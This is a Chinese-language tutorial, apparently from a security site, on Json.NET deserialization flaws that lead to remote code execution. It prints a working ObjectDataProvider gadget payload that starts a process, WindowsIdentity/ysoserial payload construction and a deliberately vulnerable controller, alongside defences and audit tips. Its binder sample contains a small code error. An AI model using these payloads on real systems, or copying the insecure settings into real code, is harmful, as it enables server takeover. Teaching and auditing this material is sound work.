.NET高级代码审计(第二课) Json.Net反序列化漏洞
字数 1751 2025-08-26 22:11:28

.NET Json.Net反序列化漏洞深度分析与防御指南

1. Json.Net库概述

Newtonsoft.Json(Json.NET)是一个高性能的JSON操作类库,主要功能包括:

  • 轻松实现.NET对象与JSON之间的转换
  • 支持LINQ to JSON
  • 高性能JSON读写能力
  • 支持多种.NET类型(对象、基本数据类型等)的序列化与反序列化

性能对比:Json.NET在序列化/反序列化性能上优于DataContractJsonSerializer和JavaScriptSerializer。

2. Json.Net序列化机制

2.1 基本序列化示例

public class TestClass
{
    [JsonIgnore]
    public string Classname { get; set; }
    public string Name { get; set; }
    public int Age { get; set; }
    
    public static void ClassMethod(string cmd)
    {
        Process.Start(cmd);
    }
}

// 序列化过程
var testClass = new TestClass { Name = "Ivan1ee", Age = 18 };
string testString = JsonConvert.SerializeObject(testClass);

关键点

  • 静态方法不参与序列化过程
  • [JsonIgnore]特性标记的属性会被忽略

2.2 高级序列化配置

var settings = new JsonSerializerSettings
{
    TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full,
    TypeNameHandling = TypeNameHandling.All
};
string testString = JsonConvert.SerializeObject(testClass, settings);

配置属性说明

  • NullValueHandling:控制是否忽略NULL值属性
  • TypeNameAssemblyFormatHandling
    • Simple:只使用类型中的部分程序集名称
    • Full:使用完整的程序集名称(包括版本号、公钥等)
  • TypeNameHandling:控制是否包含.NET类型名称信息

3. Json.Net反序列化漏洞分析

3.1 反序列化基本用法

var settings = new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.All
};
var obj = JsonConvert.DeserializeObject(jsonString, settings);

TypeNameHandling枚举值

  • None:不读取/写入类型名称(默认值,安全)
  • Objects:仅对对象类型处理
  • Arrays:仅对数组类型处理
  • Auto:自动识别需要处理的类型
  • All:对所有类型处理(最危险)

3.2 攻击向量分析

3.2.1 ObjectDataProvider攻击向量

利用原理

  • 通过ObjectDataProvider调用任意被引用类中的方法
  • 构造恶意JSON字符串实现RCE

PoC构造过程

  1. 序列化TestClass获取基础JSON结构
  2. 替换关键字段:
    • ObjectInstance$type
    • MethodName的值
    • MethodParameters$type
  3. 删除不必要的成员

示例恶意JSON

{
    "$type": "System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "ExpandedElement": {
        "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
        "MethodName": "Start",
        "ObjectInstance": {
            "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        "MethodParameters": {
            "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "$values": ["calc.exe"]
        }
    }
}

3.2.2 WindowsIdentity攻击向量

利用原理

  • WindowsIdentity实现了ISerializable接口
  • 通过BootstrapContext属性注入恶意payload

关键类分析

  • System.Security.Principal.WindowsIdentity
  • System.Security.Claims.ClaimsIdentity
  • ISerializable接口

PoC构造步骤

  1. 生成ysoserial的base64 payload
  2. 创建WindowsIdentityTest类
  3. 设置BootstrapContext为恶意payload
  4. 序列化并修改$type为完整限定名

示例代码

var identity = new WindowsIdentityTest
{
    BootstrapContext = "AAEAAAD...(base64 payload)"
};

var settings = new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.All,
    TypeNameAssemblyFormatHandling = TypeNameAssemblyFormatHandling.Full
};

string json = JsonConvert.SerializeObject(identity, settings);
// 修改$type为System.Security.Principal.WindowsIdentity
json = json.Replace("WindowsIdentityTest", "System.Security.Principal.WindowsIdentity");

// 触发反序列化
JsonConvert.DeserializeObject(json, settings);

4. 漏洞防御方案

4.1 安全配置建议

  1. 避免使用危险配置

    // 不安全配置(禁止使用)
    new JsonSerializerSettings {
        TypeNameHandling = TypeNameHandling.All
    };
    
    // 安全配置
    new JsonSerializerSettings {
        TypeNameHandling = TypeNameHandling.None
    };
    
  2. 使用白名单机制

    var settings = new JsonSerializerSettings
    {
        TypeNameHandling = TypeNameHandling.Objects,
        SerializationBinder = new MySafeBinder()
    };
    
    public class MySafeBinder : ISerializationBinder
    {
        public override Type BindToType(string assemblyName, string typeName)
        {
            // 只允许反序列化已知安全的类型
            if (typeName == "MyNamespace.MySafeType")
                return typeof(MySafeType);
            throw new SerializationException("禁止反序列化类型: " + typeName);
        }
    }
    

4.2 代码审计要点

  1. 查找污染点

    • 搜索JsonConvert.DeserializeObject调用
    • 检查TypeNameHandling配置是否为非None值
    • 检查反序列化的数据来源是否可控
  2. 常见危险模式

    // 危险模式1:直接使用用户输入
    JsonConvert.DeserializeObject(userInput, new JsonSerializerSettings {
        TypeNameHandling = TypeNameHandling.Auto
    });
    
    // 危险模式2:使用All或Auto配置
    public T Deserialize<T>(string json)
    {
        return JsonConvert.DeserializeObject<T>(json, new JsonSerializerSettings {
            TypeNameHandling = TypeNameHandling.All
        });
    }
    

5. 漏洞复现案例

5.1 Web应用中的漏洞复现

漏洞代码

[HttpPost]
public ActionResult Index(string value)
{
    var settings = new JsonSerializerSettings
    {
        TypeNameHandling = TypeNameHandling.All
    };
    var obj = JsonConvert.DeserializeObject(value, settings);
    return View(obj);
}

攻击步骤

  1. 构造恶意JSON payload
  2. 通过POST请求发送payload
  3. 服务器反序列化时触发RCE

6. 总结与最佳实践

  1. 安全总结

    • Json.NET反序列化漏洞的核心在于TypeNameHandling的非None配置
    • 攻击者可以通过构造恶意JSON实现远程代码执行
    • ObjectDataProvider和WindowsIdentity是两种主要的攻击向量
  2. 最佳实践

    • 始终使用TypeNameHandling.None除非绝对必要
    • 对外部输入的JSON数据进行严格验证
    • 实现自定义ISerializationBinder进行类型白名单控制
    • 考虑使用替代方案如System.Text.Json(.NET Core 3.0+)
  3. 参考资源

.NET Json.Net反序列化漏洞深度分析与防御指南 1. Json.Net库概述 Newtonsoft.Json(Json.NET)是一个高性能的JSON操作类库,主要功能包括: 轻松实现.NET对象与JSON之间的转换 支持LINQ to JSON 高性能JSON读写能力 支持多种.NET类型(对象、基本数据类型等)的序列化与反序列化 性能对比 :Json.NET在序列化/反序列化性能上优于DataContractJsonSerializer和JavaScriptSerializer。 2. Json.Net序列化机制 2.1 基本序列化示例 关键点 : 静态方法不参与序列化过程 [JsonIgnore] 特性标记的属性会被忽略 2.2 高级序列化配置 配置属性说明 : NullValueHandling :控制是否忽略NULL值属性 TypeNameAssemblyFormatHandling : Simple :只使用类型中的部分程序集名称 Full :使用完整的程序集名称(包括版本号、公钥等) TypeNameHandling :控制是否包含.NET类型名称信息 3. Json.Net反序列化漏洞分析 3.1 反序列化基本用法 TypeNameHandling枚举值 : None :不读取/写入类型名称(默认值,安全) Objects :仅对对象类型处理 Arrays :仅对数组类型处理 Auto :自动识别需要处理的类型 All :对所有类型处理(最危险) 3.2 攻击向量分析 3.2.1 ObjectDataProvider攻击向量 利用原理 : 通过ObjectDataProvider调用任意被引用类中的方法 构造恶意JSON字符串实现RCE PoC构造过程 : 序列化TestClass获取基础JSON结构 替换关键字段: ObjectInstance 的 $type MethodName 的值 MethodParameters 的 $type 删除不必要的成员 示例恶意JSON : 3.2.2 WindowsIdentity攻击向量 利用原理 : WindowsIdentity实现了ISerializable接口 通过BootstrapContext属性注入恶意payload 关键类分析 : System.Security.Principal.WindowsIdentity System.Security.Claims.ClaimsIdentity ISerializable 接口 PoC构造步骤 : 生成ysoserial的base64 payload 创建WindowsIdentityTest类 设置BootstrapContext为恶意payload 序列化并修改 $type 为完整限定名 示例代码 : 4. 漏洞防御方案 4.1 安全配置建议 避免使用危险配置 : 使用白名单机制 : 4.2 代码审计要点 查找污染点 : 搜索 JsonConvert.DeserializeObject 调用 检查 TypeNameHandling 配置是否为非None值 检查反序列化的数据来源是否可控 常见危险模式 : 5. 漏洞复现案例 5.1 Web应用中的漏洞复现 漏洞代码 : 攻击步骤 : 构造恶意JSON payload 通过POST请求发送payload 服务器反序列化时触发RCE 6. 总结与最佳实践 安全总结 : Json.NET反序列化漏洞的核心在于 TypeNameHandling 的非None配置 攻击者可以通过构造恶意JSON实现远程代码执行 ObjectDataProvider和WindowsIdentity是两种主要的攻击向量 最佳实践 : 始终使用 TypeNameHandling.None 除非绝对必要 对外部输入的JSON数据进行严格验证 实现自定义 ISerializationBinder 进行类型白名单控制 考虑使用替代方案如 System.Text.Json (.NET Core 3.0+) 参考资源 : Json.NET官方文档 OWASP反序列化防护指南 .NET反序列化漏洞集合